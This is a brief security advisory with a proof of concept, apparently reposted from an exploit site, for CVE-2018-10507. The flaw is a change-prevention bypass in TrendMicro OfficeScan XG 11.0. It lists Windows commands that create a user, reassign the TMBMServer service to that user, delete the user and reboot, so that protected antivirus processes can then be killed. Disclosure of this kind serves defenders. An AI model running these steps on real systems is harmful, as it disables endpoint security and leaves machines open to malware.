TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass Vulnerability

[+] Credits: John Page (aka hyp3rlinx)   
 
Product:
===========
OfficeScan XG v11.0 
 
 
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.
 
 
 
 
Vulnerability Type:
===================
Unauthorized Change Prevention Bypass
 
 
 
CVE Reference:
==============
CVE-2018-10507
 
 
 
Security Issue:
================
Attackers or malwarez that can access the system hosting the OfficeScan XG AV, can bypass the antivirus protection feature that prevents unauthorized changes
from being made like killing protected OfficeScan XG processes such as "PccNTMon.exe".
 
 
References:
============
https://success.trendmicro.com/solution/1119961
 
 
 
Exploit/POC:
=============
 
1) net user hacker abc123 /add
 
2) sc.exe config "TMBMServer" obj= ".\hacker" password= "pwnage"
 
3) net user hacker /delete
 
4) shutdown /r
 
Done!, now kill "PccNTMon.exe" or whatever...
 
requires Admin permissions to exploit

#  0day.today [2018-06-08]  #